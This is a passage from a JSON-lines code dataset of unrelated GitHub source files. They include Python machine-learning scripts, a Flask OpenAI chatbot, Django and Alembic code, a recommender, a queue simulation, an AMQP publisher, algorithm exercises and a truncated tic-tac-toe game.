gradient_clip_val=0.1,\r\n limit_train_batches=30, # 30 batches per epoch\r\n callbacks=[lr_logger, early_stop_callback],\r\n logger=TensorBoardLogger(\"lightning_logs\")\r\n)\r\n\r\n# define network to train - the architecture is mostly inferred from the dataset, so that only a few hyperparameters have to be set by the user\r\ntft = TemporalFusionTransformer.from_dataset(\r\n # dataset\r\n training,\r\n # architecture hyperparameters\r\n hidden_size=32,\r\n attention_head_size=1,\r\n dropout=0.1,\r\n hidden_continuous_size=16,\r\n # loss metric to optimize\r\n loss=QuantileLoss(),\r\n # logging frequency\r\n log_interval=2,\r\n # optimizer parameters\r\n learning_rate=0.03,\r\n reduce_on_plateau_patience=4\r\n)\r\nprint(f\"Number of parameters in network: {tft.size()/1e3:.1f}k\")\r\n\r\n# find the optimal learning rate\r\nres = trainer.lr_find(\r\n tft, train_dataloaders=train_dataloader, val_dataloaders=val_dataloader, early_stop_threshold=1000.0, max_lr=0.3,\r\n)\r\n# and plot the result - always visually confirm that the suggested learning rate makes sense\r\nprint(f\"suggested learning rate: {res.suggestion()}\")\r\nfig = res.plot(show=True, suggest=True)\r\nfig.show()\r\n\r\n# fit the model on the data - redefine the model with the correct learning rate if necessary\r\ntrainer.fit(\r\n tft, train_dataloaders=train_dataloader, val_dataloaders=val_dataloader,\r\n)","repo_name":"MachineLearningEnthusiasts/HIV_Detection_Diagnosis_Precautions","sub_path":"pytorch_forecasting.py","file_name":"pytorch_forecasting.py","file_ext":"py","file_size_in_byte":3774,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"40599364238","text":"from urllib.request import Request\nfrom django.shortcuts import redirect, render\nfrom shopp.shopp import shoppUser\nfrom carro.carro import carro as carroshop\n\n# Create your views here.\n\ndef registrarCompras(request):\n if request.user.is_authenticated:\n car=carroshop(request=request)\n llaves=car.devolver_datos()\n if request.method == \"POST\":\n ciudad=request.POST['ciudad']\n nombre=request.POST['nombre']\n apellido=request.POST['apellido']\n correo=request.POST['correo']\n telefono=request.POST['telefono']\n direccion=request.POST['direccion']\n compra=shoppUser()\n compra.crear_factura(request.user,llaves,ciudad=ciudad,nombre=nombre,apellido=apellido,correo=correo,telefono=telefono,direccion=direccion)\n return redirect('homepage')\n return render(request,'compras.html')\n\n \n","repo_name":"ositogominola/webTienda","sub_path":"tienda/shopp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70351866383","text":"from flask import Flask, render_template, request\nimport openai\nimport os\nfrom dotenv import load_dotenv\n\n\napp = Flask(__name__)\nload_dotenv()\n\napi_key = os.getenv(\"OPENAI_KEY\", None)\n\n\ndef talking(prompt):\n response = openai.Completion.create(\n model = 'text-davinci-003',\n prompt = prompt,\n max_tokens = 2048\n )\n return response.choices[0].text\n\n\ndef drawing(prompt):\n response = openai.Image.create(\n size = '512x512',\n prompt = prompt,\n n = 1,\n response_format = 'url'\n )\n return response['data'][0]['url']\n\n\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\ndef chatbot():\n\n if request.method == \"POST\" and api_key is not None:\n openai.api_key = api_key\n question = request.form['user_input']\n if question[0:4] == 'img:':\n question = question.replace('img:', '')\n answer = drawing(question)\n\n return render_template(\"index.html\", ai_answer = answer, drawing=True)\n else:\n answer = talking(question)\n return render_template(\"index.html\", ai_answer = answer)\n\n return render_template(\"index.html\")\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"kattat13/gpt_clone","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9157153973","text":"import IPC\nimport sys\n\nCHAT_QUERY_MSG = \"chatQuery\"\n\nif __name__ == \"__main__\":\n\n print(\"Starting chatGPT tester...\")\n\n IPC.IPC_connect(\"chatTester\")\n\n for line in sys.stdin:\n line = line.rstrip()\n if line in ['q', 'quit']:\n break\n else:\n (response, status) = IPC.IPC_queryResponseData(CHAT_QUERY_MSG,\n line, 10000)\n if (status == IPC.IPC_OK): \n print(\"ChatGPT responded:\", response)\n else: \n print(\"Query timed out\")\n","repo_name":"gracetangg/speech_to_text","sub_path":"tank/chatGPT_test.py","file_name":"chatGPT_test.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"41001269067","text":"import numpy as np\nimport math\nfrom time import time\nimport pandas as pd\n\n\n# uses the Pearson coefficient to calculate the similarity between 2 users\ndef calc_sim_scores(df, u1, user_subset):\n\n u1_avg = df.loc[u1]['rating'].mean()\n u1_items = [y for x, y in df.index if x == u1]\n\n sim_scores = []\n\n for u2 in user_subset:\n # get shared items\n u2_items = [y for x, y in df.index if x == u2]\n shared_items = [s for s in u1_items if s in u2_items]\n\n # given a userId and the sharedItems return the list of ratings\n u2_avg = df.loc[u2]['rating'].mean()\n # accumulator for 3 parts of sim equation\n a, b, c = 0, 0, 0\n\n for item in shared_items:\n rating_u1 = df.loc[(u1, item)]['rating'] - u1_avg\n rating_u2 = df.loc[(u2, item)]['rating'] - u2_avg\n\n rating_u1_sq = math.pow(rating_u1, 2)\n rating_u2_sq = math.pow(rating_u2, 2)\n\n a += rating_u1 * rating_u2\n b += rating_u1_sq\n c += rating_u2_sq\n\n\n b = math.sqrt(b)\n c = math.sqrt(c)\n if b == 0 or c == 0:\n sim_scores.append((u2, 0))\n else:\n sim_scores.append((u2, a / (b * c)))\n\n return sim_scores\n\n\n# calculate the predicted rating for user on item given a neighbourhood of similar users and their simScores\ndef pred(df, u1, item_id, neighbours):\n u1_avg = df.loc[u1]['rating'].mean()\n a, b = 0, 0\n\n for u2, u2_sim in neighbours:\n u2_avg = df.loc[u2]['rating'].mean()\n\n if (u2, item_id) in df.index:\n a += u2_sim * (df.loc[(u2, item_id)]['rating'] - u2_avg)\n b += u2_sim\n\n print(f\"A: {a}, B: {b}\")\n predict = u1_avg if b == 0 else u1_avg + (a/b)\n # clamps predict within 0 and 5\n predict = max(0, min(5, predict))\n\n return predict\n\n\n# cur object is cursor for databases\ndef get_prediction(user_id, item_list, table_nm, cursor):\n\n # given a userId get a list of (itemId, ratings) they've made\n df = pd.DataFrame(columns=['userID', 'itemID', 'rating', 'time']).set_index(['userID', 'itemID'])\n user_dict = {\"userID\": [], \"itemID\": [], \"rating\": [], \"time\": []}\n s = time()\n for row in cursor.execute(f'SELECT itemID, rating, time FROM {table_nm} WHERE userID = ?', (user_id,)):\n user_dict[\"userID\"].append(user_id)\n user_dict[\"itemID\"].append(row[0])\n user_dict[\"rating\"].append(row[1])\n user_dict[\"time\"].append(row[2])\n df = df.append(pd.DataFrame.from_dict(user_dict).set_index(['userID', 'itemID']))\n # print(\"First DB call\", (time() - s))\n # getting building dict of user to number of u1's items they've rates\n items_rated = [y for x, y in df.index]\n user_item_count = {}\n items_to_search = ','.join(map(str, items_rated))\n s = time()\n for row in cursor.execute(f\"SELECT userID FROM {table_nm} WHERE itemID IN ({items_to_search})\"):\n user_item_count[row[0]] = user_item_count.get(row[0], 0) + 1\n # print(\"Second DB call\", (time() - s))\n\n # removing users from dict if count is less then threshold, and removing duplicates\n\n user_subset = []\n max_user_size = 25\n for k, v in sorted(user_item_count.items(), key=lambda item: item[1], reverse=True):\n if len(user_subset) < max_user_size and not k == user_id:\n user_subset.append(k)\n print(user_subset)\n\n # for the reduced users get all of their details\n # both these calls are not needed but make things easier, if need one can go which by having a very,\n # very large pandas dataframe and then having an accompaning list of users who meet the threshold.\n s = time()\n user_dict = {\"userID\": [], \"itemID\": [], \"rating\": [], \"time\": []}\n for row in cursor.execute(f\"SELECT userID, itemID, rating, time FROM {table_nm} WHERE userID IN ({','.join(map(str, user_subset))})\"):\n user_dict[\"userID\"].append(row[0])\n user_dict[\"itemID\"].append(row[1])\n user_dict[\"rating\"].append(row[2])\n user_dict[\"time\"].append(row[3])\n df = df.append(pd.DataFrame.from_dict(user_dict).set_index(['userID', 'itemID']))\n # print(\"Third DB call\", (time() - s))\n\n s = time()\n if len(user_subset) == 0:\n return None\n sim_scores = calc_sim_scores(df, user_id, user_subset)\n print(sim_scores)\n # print(\"Sim time: \", (time() - s))\n # get index of topN users, based on sim score\n neighbours = []\n #topN = 12_000 if len(sim_scores) > 12_000 else len(sim_scores)\n user_indexes = np.argsort([score[1] for score in sim_scores])# [-topN:]\n for index in user_indexes:\n neighbours.append(sim_scores[index])\n\n results = []\n for item_id in item_list:\n if (user_id, item_id) in df.index:\n # User already rated this item so just return it\n results.append(df.loc[(user_id, item_id)]['rating'])\n else:\n results.append(pred(df, user_id, item_id, neighbours))\n return results\n","repo_name":"LukeGibson/RecommenderSystem","sub_path":"src/UserBased/MakePrediction.py","file_name":"MakePrediction.py","file_ext":"py","file_size_in_byte":4943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"2381213296","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport csv\n\ncategories = []\nRussia = []\nUkraine = []\n\nwith open('data/OlympicsWinter.csv') as csvfile:\n reader = csv.reader(csvfile)\n line_count = 0\n\n for row in reader:\n if line_count is 0:\n categories.append(row)\n line_count += 1\n\n else:\n if row[4] == \"RUS\":\n print('total medals for Russia:', len(Russia))\n Russia.append([int(row[0]), row[5], row[6], row[7]])\n elif row[4] == \"UKR\":\n print('total medals for Ukraine:', len(Ukraine))\n Ukraine.append([int(row[0]), row[5], row[6], row[7]])\n line_count += 1\n\ntotalMedals = len(Russia) + len(Ukraine)\n\nRussia_procentage = int(len(Russia) / totalMedals * 100)\nUkraine_procentage = int(len(Ukraine) / totalMedals * 100)\n\nprint('processed', line_count, 'line of data.Total medals', totalMedals)\n\nlabels = \"Russia\", \"Ukraine\", \nsizes = [len(Russia), len(Ukraine),]\ncolors = ['indigo', 'tomato']\nexplode = (0.1, 0.1)\n\nplt.pie(sizes, explode=explode, colors=colors, autopct='%1.1f%%', shadow=True, startangle=140)\n\nplt.axis('equal')\nplt.legend(labels, loc=2)\nplt.title(\"Russia VS Ukraine\")\nplt.xlabel(\"Total Medal Procentage\")\nplt.show()\n","repo_name":"vira-romanko/week_12_python_charts","sub_path":"ukrainevsrussia.py","file_name":"ukrainevsrussia.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28052007108","text":"\"\"\" Document the PanDA Server TaskBuffer API \"\"\"\n# $Id: taskBufferList.py 9690 2011-11-16 22:28:01Z fine $\n# Display DB status and stats\nfrom pmUtils.pmState import pmstate\nfrom pmCore.pmModule import pmRoles\nfrom pmTaskBuffer.pmTaskBuffer import pmtaskbuffer as pmt\nfrom pmTaskBuffer.pmTaskBuffer import pmgrisliaskbuffer as gmt\nimport pmUtils.pmUtils as utils\nimport pmUtils.Stopwatch as Stopwatch\nfrom datetime import datetime\nimport inspect\n\nfrom pmCore.pmModule import pmModule\n\nclass taskBufferList(pmModule):\n\n #______________________________________________________________________________________\n def __init__(self,name=None,parent=None,obj=None):\n pmModule.__init__(self,name,parent,obj)\n self.publishUI(self.doJson,role=pmRoles.object())\n self.publishUI(self.doScript,role=pmRoles.script() )\n \n self._doc = None\n #______________________________________________________________________________________\n def makeMethodDoc(self, name, obj,label=None):\n \"\"\" Create the documentation for the UI \"\"\"\n if label != None: name = name +\".\"+label \n doc = obj.__doc__\n pars = ''\n try:\n (args, varargs, keywords, defaults) = inspect.getargspec(obj)\n ndef = len(defaults) if defaults else 0\n largs = len(args) if args else 0\n iDfl = largs - ndef\n sep = ''\n for i,arg in enumerate(args):\n if arg == 'self': continue\n pars += \"%s%s\" % (sep, arg)\n if sep == \"\": sep = ','\n if i >= iDfl: pars += \"=%s\" % defaults[i-iDfl]\n except:\n pass \n return (name, pars, doc)\n\n #______________________________________________________________________________________ \n def doMain(self,undoc=False,method=None):\n main = {'undoc' : undoc }\n main[\"taskBuffer\"] = [ self.makeMethodDoc( name,obj) for name, obj in inspect.getmembers(pmt)]\n self.publish(main)\n return \n #______________________________________________________________________________________ \n def doScript(self,undoc=False,method=None):\n version = self.server().version().get('version')\n if version == None: version = ''\n else: version = \"/~%s\" % version\n\n func = \"\"\"\n function(tag,data) {\n $(tag).empty();\n var taskBuffer = data.taskBuffer;\n var undoc = data.undoc;\n var html = \"
    \";\n var nUndocumented = 0;\n for (var method in taskBuffer ) {\n var mn = taskBuffer[method];\n var mname = mn[0];\n var pars = mn[1];\n var doc = mn[2];\n if ( mname.indexOf('getProxyKey') < 0 ) { \n if (doc == undefined || doc == null) { nUndocumented++; if (! undoc) continue; doc = 'Under construction. To be documented yet!';} \n else {doc = \"\" +doc+ \"\"; }\n html += \"
  1. \" + mname+\"(\" + pars + \"):
    \" + doc;\n }\n }\n html += \"
\";\n if (nUndocumented >0) { html += \"
\" + nUndocumented +\" undocumented methods were found but not listed\" ; } \n $(tag).html(html);\n }\n \"\"\" % { 'version' : version }\n self.publish(func,role=pmRoles.script())\n #______________________________________________________________________________________ \n def doJson(self,method=None,undoc=False):\n \"\"\" \n List of All TaskBuffer Class Methods\n \"\"\" \n self._doc = None\n usr = self.server().user()\n if usr == None:\n self.publishTitle('Only the known user can list All TaskBuffer methods. Please, use https protocol')\n self.publish({'s-maxage':0,'max-age': 0 }, role=pmRoles.cache())\n self.publish( {} )\n else: \n if not \"fine\" in usr.lower() and not \"wenaus\" in usr.lower() and undoc: \n self.publishTitle('List of All TaskBuffer Methods for the User <%s> You can not see the undocumented methods though' % usr)\n undoc=False\n else: \n self.publishTitle('List of All TaskBuffer Methods for the User <%s> ' % usr)\n self.doMain(undoc,method)\n self.publish({'s-maxage':90000,'max-age': 90000 }, role=pmRoles.cache())","repo_name":"vfine/webplatform","sub_path":"pmModules/taskBufferList.py","file_name":"taskBufferList.py","file_ext":"py","file_size_in_byte":4477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"71291443024","text":"# -*- coding: utf-8 -*-\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport numpy as np\nfrom sklearn.metrics import confusion_matrix\nfrom tensorflow.examples.tutorials.mnist import input_data\n'''\n初始化所有变量，进行训练\n\n变量定义：\n1. 生成x_data矩阵数据\n2. 定义weights和biases变量参数\n\n训练过程：\n1. 计算y_data和y\n y_data为x_data生成的定值，为期望值\n 生成一个weights和biases，计算y，为预测值\n2. 计算y_data和y的误差loss\n3. 调用梯度下降法调优，反向传递误差\n weights和biases参数更新\n4. 定义训练次数\n 通过每次训练、调优使loss达到最小误差\n \n'''\n# 创建数据\nx_data = np.random.rand(100).astype(np.float32) #创建随机100个数字定义为float32（比64节约内存，降低训练复杂度）1*100矩阵\ny_data = x_data*0.1 + 0.3 #1*100矩阵\n\n# 用 tf.Variable 来创建描述 y 的参数\n# 搭建模型，构造variable的实例添加变量，构造函数需要变量的初始值，可以是任何类型和形状的tensor\nWeights = tf.Variable(tf.random_uniform([1], -1.0, 1.0)) #random_uniform返回1维矩阵，介于-1到1范围内，产生的值是均匀分布的\n# Weights = tf.Variable(tf.zeros([1])) #random_uniform返回1维矩阵，介于-1到1范围内，产生的值是均匀分布的\nbiases = tf.Variable(tf.zeros([1])) #zeros输出1维矩阵，元素均为0\n\ny = Weights*x_data + biases #1*100矩阵\n\n# 计算 y 和 y_data 的误差\nloss = tf.reduce_mean(tf.square(y-y_data)) # 矩阵中每个元素求平方，reduce_mean计算元素平均值\n\n# 使用梯度下降法GradientDescent反向传递误差，梯度下降法会使用全部样本\noptimizer = tf.train.GradientDescentOptimizer(0.5) # 学习率learning_rate，过大导致震荡，无法得到最优解，过小导致学习过程漫长\n\n# 使用 optimizer 进行参数的更新，使loss达到最小误差\ntrain = optimizer.minimize(loss)\n\n# 初始化所有之前定义的计算图中global variable的 op\ninit = tf.global_variables_initializer() #将所有全局变量的初始化器汇总，并对其进行初始化\nsess = tf.Session() # 创建会话 Session\nsess.run(init) # 初始化参数\n\n# 用 Session 来 run 每一次 training 的数据. 逐步提升神经网络的预测准确性\nfor step in range(201): #训练200次\n sess.run(train) #进行训练\n if step % 20 == 0: #每20次输出一个weights和biases状态\n print(step, sess.run(Weights), sess.run(biases),sess.run(y),y_data,sess.run(loss))\n\n","repo_name":"MaLei666/TensorFlow","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2575,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11059107566","text":"import pickle\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.metrics import classification_report\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.pipeline import Pipeline\nimport re\nfrom nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.tokenize import word_tokenize\nimport sys\n# import libraries\nimport pandas as pd\nfrom sqlalchemy import create_engine\nimport nltk\nnltk.download('punkt')\nnltk.download('wordnet')\nnltk.download('stopwords')\n\n\ndef load_data(database_filepath):\n \"\"\" Loading data from SQL Database\n\n Args:\n database_filepath: The file path for the SQL DataBase.\n\n Returns:\n X: A dataFrame contains The messages.\n Y: A DataFrame contains the Categories.\n category_names: A list of Category names.\n \"\"\"\n engine = create_engine(f\"sqlite:///{database_filepath}\")\n df = pd.read_sql_table(\"DisasterResponse\", engine)\n X = df['message']\n Y = df.iloc[:, 4:]\n category_names = df.columns[3:36]\n return X, Y, category_names\n\n\ndef tokenize(text):\n \"\"\"Transforming the message Text into a machine learning usable form.\n\n Args: \n text: The message sent by the user.\n\n Returns:\n lemmated: Transformed and cleaned list of words. \n \"\"\"\n # Normalization\n text = re.sub(r\"\\W\", \" \", text.lower())\n\n # Tokenization\n tokens = word_tokenize(text)\n\n # Lemmatization and stop words removel\n lemmatizer = WordNetLemmatizer()\n lemmated = [lemmatizer.lemmatize(w).strip(\n ) for w in tokens if w not in stopwords.words('english')]\n\n return lemmated\n\n\ndef build_model():\n \"\"\"Building the Machine learning Pipeline to predict the categories of text.\n\n Args:\n None\n\n Returns:\n cv: Optimized machine learning pipeline.\n \"\"\"\n pipeline = Pipeline([\n (\"vect\", CountVectorizer(tokenizer=tokenize)),\n (\"tf-idf\", TfidfTransformer()),\n (\"clf\", KNeighborsClassifier())\n ])\n parameters = {\n # 'vect__ngram_range': ((1, 1), (1, 2)),\n # the optemal n_neighbors number is 10\n 'clf__n_neighbors': [5, 10, 15, 30, 50],\n 'clf__leaf_size': [20, 30, 50] # the optemal leaf_size is 20\n }\n\n cv = GridSearchCV(pipeline, param_grid=parameters)\n return cv\n\n\ndef evaluate_model(model, X_test, Y_test, category_names):\n \"\"\"Evaluating the Machine Learning model.\n\n Args:\n model: The machine learning model used to classefy text categories.\n X_test: Messages used as Testing Dataset.\n Y_test: The real categories of the testing messages.\n category_names: The names of the categories.\n\n Returns:\n None\n \"\"\"\n y_pred = model.predict(X_test)\n labels = category_names\n\n for i in range(36):\n print(Y_test.columns[i], ':')\n print(classification_report(Y_test.iloc[:, i], y_pred[:, i]))\n\n\ndef save_model(model, model_filepath):\n \"\"\"Saving Classification model.\n\n Args:\n model: The machine learning model used to classefy text categories.\n model_filepath: The file bath to save the model at.\n\n Returns:\n None.\n \"\"\"\n pickle.dump(model, open(model_filepath, 'wb'))\n\n\ndef main():\n if len(sys.argv) == 3:\n database_filepath, model_filepath = sys.argv[1:]\n print('Loading data...\\n DATABASE: {}'.format(database_filepath))\n X, Y, category_names = load_data(database_filepath)\n X_train, X_test, Y_train, Y_test = train_test_split(\n X, Y, test_size=0.2)\n\n print('Building model...')\n model = build_model()\n\n print('Training model...')\n model.fit(X_train, Y_train)\n\n print('Evaluating model...')\n evaluate_model(model, X_test, Y_test, category_names)\n\n print('Saving model...\\n MODEL: {}'.format(model_filepath))\n save_model(model, model_filepath)\n\n print('Trained model saved!')\n\n else:\n print('Please provide the filepath of the disaster messages database '\n 'as the first argument and the filepath of the pickle file to '\n 'save the model to as the second argument. \\n\\nExample: python '\n 'train_classifier.py ../data/DisasterResponse.db classifier.pkl')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"mustafaabdelaziz/Disaster_Response_Pipeline","sub_path":"models/train_classifier.py","file_name":"train_classifier.py","file_ext":"py","file_size_in_byte":4450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32234448630","text":"import random\r\nfrom math import *\r\nimport time\r\n\r\nlam=0.9 #Arrival Rate\r\nmu=1 #service rate\r\n\r\nn=0 #number of clients serviced\r\nt=0 #overall system time\r\nta=0 #arrival time\r\nts=0 #service time\r\nq=0 #queue length\r\nw=[] #array of wait times\r\n\r\ndef generateArr():\r\n\tua=random.uniform(0, 1)\r\n\tarr= log(1-ua)/(-lam)\r\n\treturn arr\r\n\r\ndef generateServ():\r\n\tus=random.uniform(0, 1)\r\n\tserv= log(1-us)/(-mu)\r\n\treturn serv\r\n\r\nta=generateArr()\r\nts=generateServ()\r\n\r\nwhile n<1000:\r\n\tif q==0:\r\n\t\tt=t+ta\r\n\t\tq=1\r\n\t\tta=generateArr()\r\n\telse:\r\n\t\tif ts ListNode:\n head = ListNode(None)\n head.next = l1\n \n node1, node2 = head, l2\n while node2 != None:\n if node1.next != None:\n if node1.next.val >= node2.val:\n nexto = node1.next\n node1.next = node2\n node2 = node2.next\n node1.next.next = nexto\n else:\n node1 = node1.next\n else:\n node1.next = node2\n break\n \n return head.next\n","repo_name":"viethan/leetcode","sub_path":"january_challenge/day04.py","file_name":"day04.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37174956577","text":"\"\"\"identification add sequence\n\nRevision ID: 43e7ffe83e2a\nRevises: 340dbe7a3adf\nCreate Date: 2022-02-21 08:36:26.138913\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '43e7ffe83e2a'\ndown_revision = '340dbe7a3adf'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('identification', sa.Column('sequence', sa.Integer(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('identification', 'sequence')\n # ### end Alembic commands ###\n","repo_name":"moogoo78/naturedb-archive","sub_path":"alembic/versions/43e7ffe83e2a_identification_add_sequence.py","file_name":"43e7ffe83e2a_identification_add_sequence.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32026352986","text":"import sys\nfrom collections import deque\n\ndef bfs(x, y):\n q = deque()\n dx = [1, -1, 0, 0]\n dy = [0, 0, 1, -1]\n for i in range(n):\n for j in range(m):\n if arr[i][j] == 1:\n q.append([i, j])\n \n while q:\n x, y = q.popleft()\n for k in range(4):\n nx = x + dx[k]\n ny = y + dy[k]\n if 0 <= nx < n and 0 <= ny < m and arr[nx][ny] == 0:\n q.append([nx, ny])\n arr[nx][ny] = arr[x][y] + 1\n \nm, n = map(int, sys.stdin.readline().split())\n\narr = [list(map(int, sys.stdin.readline().split())) for _ in range(n)]\n\n\nbfs(0, 0)\nflag = 0\nfor i in range(n):\n if flag == 1:\n break\n for j in range(m):\n if arr[i][j] == 0:\n print(-1)\n flag = 1\n break\n\nif not flag == 1:\n ans = max(map(max, arr))\n print(ans - 1)\n \n","repo_name":"parkdohuni/codingtest","sub_path":"Python/7576.py","file_name":"7576.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40473265103","text":"# deque를 사용했는데 runtime error가 떴었다.\n# 그래서 테스트케이스에 아무렇게나 만들어서 돌렸더니 에러가 떴음\n# -> stack에서 열린괄호를 찾아야하는데 pop될 요소가 없으면 에러난다.\n\nimport sys\nsys.stdin = open('sample_input.txt')\n\nimport collections\n\ndef checking(code):\n stack = collections.deque()\n for c in code: # 문장을 순회하면서 {, }, (, ) 만 걸러냄\n if c in ['{', '(']: # 1. 열린괄호일때는 스택에 추가\n stack.append(c)\n elif c in ['}', ')']: # 2. 닫힌 괄호일 때는 스택의 끝쪽에 같은 짝의 열린괄호가 있는지 확인해야함\n if not stack: # pop 해야하는데 스택이 비어있으면 0반환\n return 0\n else:\n s = stack.pop()\n if (s, c) == ('{', ')') or (s, c) == ('(', '}'): # 짝이 안맞으면 0반환\n return 0\n if stack: # 3. 문장 순회를 끝냈는데 스택에 열린괄호가 남아있으면 0반환\n return 0\n return 1 # 위에서 아닌 경우를 다 걸러서 1반환\n\nT = int(input())\n\nfor tc in range(1, T+1):\n code = input()\n print('#{} {}'.format(tc, checking(code)))\n","repo_name":"underwater2/my_algorithm","sub_path":"SWExpertAcademy/220128/4866_괄호검사/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"2164778585","text":"import logging\nimport uuid\nfrom datetime import datetime\nfrom threading import Thread, Event\n\nimport time\nfrom sqlalchemy import Column, String, Boolean, DateTime\nfrom sqlalchemy_utils import UUIDType\n\nfrom common.amqp_publisher import AMQPPublisher\nfrom common.db.data_types import Json\nfrom common.db.orm import Base\n\n\nclass Message(Base):\n __tablename__ = 'messages'\n\n id = Column(UUIDType, primary_key=True, nullable=False, default=uuid.uuid4)\n data = Column(Json, nullable=False)\n routing_key = Column(String, nullable=False)\n sent = Column(Boolean, nullable=False, default=False)\n created_at = Column(DateTime, nullable=False, default=datetime.utcnow, index=True)\n\n\nclass MessagePublisher(Thread):\n def __init__(self, host: str, user: str, password: str, scoped_session, exchange_name: str):\n super().__init__()\n self._logger = logging.getLogger(self.__class__.__name__)\n self._stopping = Event()\n self._exchange = exchange_name\n self._scoped_session = scoped_session\n self._amqp_publisher = AMQPPublisher(host, user, password)\n\n def publish_message(self):\n try:\n message: Message = self._scoped_session.query(Message).filter(Message.sent.is_(False)) \\\n .order_by(Message.created_at.asc()).first()\n if message is None:\n return\n self._amqp_publisher.publish(self._exchange, message.routing_key, message.data)\n # self._stomp_connection.send('/queue/events', body=json.dumps(message.message, ensure_ascii=False))\n message.sent = True\n self._scoped_session.commit()\n except Exception as exc:\n self._logger.exception(exc)\n finally:\n self._scoped_session.remove()\n\n def run(self):\n self._logger.info(f\"Запуск {self.__class__.__name__}\")\n while not self._stopping.is_set():\n try:\n self.publish_message()\n except Exception as exc:\n self._logger.exception(exc)\n finally:\n time.sleep(3)\n\n def stop(self):\n self._logger.info(f\"Остановка {self.__class__.__name__}\")\n self._stopping.set()\n self.join(5)\n","repo_name":"Mikkgn/SnortRuleGenerator","sub_path":"common/message_publisher.py","file_name":"message_publisher.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"23610176823","text":"import pygame\r\nimport math\r\nimport sys\r\n\r\npygame.init()\r\nWIDTH, HEIGHT = 600, 600\r\nwin = pygame.display.set_mode((WIDTH, HEIGHT))\r\npygame.display.set_caption(\"TicTacToe\")\r\n\r\nWHITE = (255, 255, 255)\r\nBLACK = (0, 0, 0)\r\nWORD_FONT = pygame.font.SysFont('comicsans', 60)\r\n\r\n# # board\r\n# board = [(0, 0, \"empty\")]*9\r\n# for i in range(9):\r\n# board[i] = (200+(i % 3)*100, 200 + (i//3)*100, \"empty\")\r\n\r\n\r\n\r\ndef draw_x(n, board):\r\n tmp = list(board[n])\r\n tmp[2] = \"x\"\r\n board[n] = tuple(tmp)\r\n\r\n x, y = board[n][0], board[n][1]\r\n pygame.draw.line(win, BLACK, (x-30, y-30), (x + 30, y + 30), 3)\r\n pygame.draw.line(win, BLACK, (x + 30, y - 30), (x - 30, y + 30), 3)\r\n\r\n\r\ndef draw_o(n, board):\r\n tmp = list(board[n])\r\n tmp[2] = \"o\"\r\n board[n] = tuple(tmp)\r\n\r\n x, y = board[n][0], board[n][1]\r\n pygame.draw.circle(win, BLACK, (x, y), 30, 3)\r\n\r\ndef check(symbol, board):\r\n if board[0][2] == symbol and board[1][2] == symbol and board[2][2] == symbol:\r\n return True\r\n elif board[3][2] == symbol and board[4][2] == symbol and board[5][2] == symbol:\r\n return True\r\n elif board[6][2] == symbol and board[7][2] == symbol and board[8][2] == symbol:\r\n return True \r\n elif board[0][2] == symbol and board[3][2] == symbol and board[6][2] == symbol:\r\n return True\r\n elif board[1][2] == symbol and board[4][2] == symbol and board[7][2] == symbol:\r\n return True \r\n elif board[2][2] == symbol and board[5][2] == symbol and board[8][2] == symbol:\r\n return True\r\n elif board[0][2] == symbol and board[4][2] == symbol and board[8][2] == symbol:\r\n return True\r\n elif board[2][2] == symbol and board[4][2] == symbol and board[6][2] == symbol:\r\n return True\r\n else:\r\n return False\r\n\r\ndef draw(board):\r\n for i in range(9):\r\n if board[i][2] == \"empty\":\r\n return False\r\n return True\r\n\r\ndef display_message(message):\r\n text = WORD_FONT.render(message, 1, BLACK)\r\n win.blit(text, (WIDTH/2 - text.get_width()/2, 50 - text.get_height()/2))\r\n pygame.display.update()\r\n pygame.time.delay(3000)\r\n\r\ndef main():\r\n run = True\r\n while run:\r\n win.fill(WHITE)\r\n 